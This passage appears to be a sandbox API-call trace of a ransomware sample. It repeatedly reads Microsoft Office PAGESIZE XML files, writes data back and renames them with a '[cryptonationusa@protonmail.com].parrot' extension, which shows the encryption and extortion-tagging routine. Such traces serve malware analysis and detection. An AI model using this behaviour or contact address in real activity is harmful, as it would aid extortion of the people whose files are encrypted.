dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0200.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0200.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0200.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0200.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0200.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0200.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0200.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0200.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0200.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0200.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0200.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0200.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0200.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0200.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0200.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0200.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0200.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0200.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0200.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0200.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0200.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x22fa088 [0200.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0200.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0200.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0200.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0200.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0200.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0200.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0200.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0200.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0200.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0200.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0200.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0200.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0200.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0200.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0200.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x319e458 [0200.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0200.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x31a13f0 [0200.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e458 | out: hHeap=0x5b0000) returned 1 [0200.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x31f64f0 [0200.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a13f0 | out: hHeap=0x5b0000) returned 1 [0200.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x31fcfd0 [0200.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64f0 | out: hHeap=0x5b0000) returned 1 [0200.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x31ac460 [0200.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fcfd0 | out: hHeap=0x5b0000) returned 1 [0200.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x31f64f0 [0200.520] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0200.520] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x320cd28 [0200.521] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64f0 | out: hHeap=0x5b0000) returned 1 [0200.521] WriteFile (in: hFile=0x284, lpBuffer=0x320cd40*, nNumberOfBytesToWrite=0x19b48, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x320cd40*, lpNumberOfBytesWritten=0x18eed4*=0x19b48, lpOverlapped=0x0) returned 1 [0200.525] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x320cd28 | out: hHeap=0x5b0000) returned 1 [0200.525] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x19b3a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0200.525] CloseHandle (hObject=0x284) returned 1 [0200.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0200.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x31aa260 [0200.525] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0200.525] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL092.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl092.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL092.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl092.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0200.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31aa260 | out: hHeap=0x5b0000) returned 1 [0200.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0200.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0200.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0200.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0200.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0200.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0200.529] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0200.529] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0200.542] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.543] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb3da, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb3da, lpOverlapped=0x0) returned 1 [0200.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0200.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0200.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0200.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0200.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0200.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0200.544] GetLastError () returned 0x0 [0200.548] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0200.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0200.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0200.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0200.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0200.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0200.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0200.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0200.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0200.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0200.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0200.551] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL093.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl093.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL093.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl093.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0200.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31aa260 | out: hHeap=0x5b0000) returned 1 [0200.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0200.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0200.560] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0200.560] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0200.563] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.564] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a1e8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1a1e8, lpOverlapped=0x0) returned 1 [0200.568] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.570] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL095.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl095.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL095.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl095.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0200.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31aa260 | out: hHeap=0x5b0000) returned 1 [0200.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0200.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0200.577] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0200.577] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0200.658] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.658] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x19ede, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x19ede, lpOverlapped=0x0) returned 1 [0200.669] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.671] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL096.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl096.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL096.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl096.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0200.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31aa260 | out: hHeap=0x5b0000) returned 1 [0200.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0200.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0200.678] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0200.678] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0200.679] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.680] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x80ba, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x80ba, lpOverlapped=0x0) returned 1 [0200.683] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.685] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL097.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl097.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL097.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl097.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0200.689] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31aa260 | out: hHeap=0x5b0000) returned 1 [0200.689] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0200.689] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0200.693] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0200.693] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0200.694] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.695] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe730, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe730, lpOverlapped=0x0) returned 1 [0200.697] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.699] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL102.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl102.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL102.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl102.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0200.703] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31aa260 | out: hHeap=0x5b0000) returned 1 [0200.703] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0200.703] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0200.717] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0200.717] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0200.718] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.720] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x27aee, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x27aee, lpOverlapped=0x0) returned 1 [0200.730] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.736] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL103.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl103.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL103.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl103.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0200.741] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31aa260 | out: hHeap=0x5b0000) returned 1 [0200.741] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0200.741] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64f0 | out: hHeap=0x5b0000) returned 1 [0200.746] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0200.746] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0200.747] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.748] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1fcf2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1fcf2, lpOverlapped=0x0) returned 1 [0200.752] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.757] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL104.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl104.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL104.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl104.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0200.761] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31aa260 | out: hHeap=0x5b0000) returned 1 [0200.761] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0200.761] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0200.763] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0200.763] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0200.765] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.765] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15090, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x15090, lpOverlapped=0x0) returned 1 [0200.767] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.767] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL105.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl105.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL105.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl105.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0200.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31aa260 | out: hHeap=0x5b0000) returned 1 [0200.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0200.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0200.773] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0200.773] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0200.774] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.774] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9ae4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9ae4, lpOverlapped=0x0) returned 1 [0200.775] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.776] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL106.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl106.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL106.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl106.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0200.778] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31aa260 | out: hHeap=0x5b0000) returned 1 [0200.778] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0200.778] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0200.795] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0200.795] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0200.796] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, 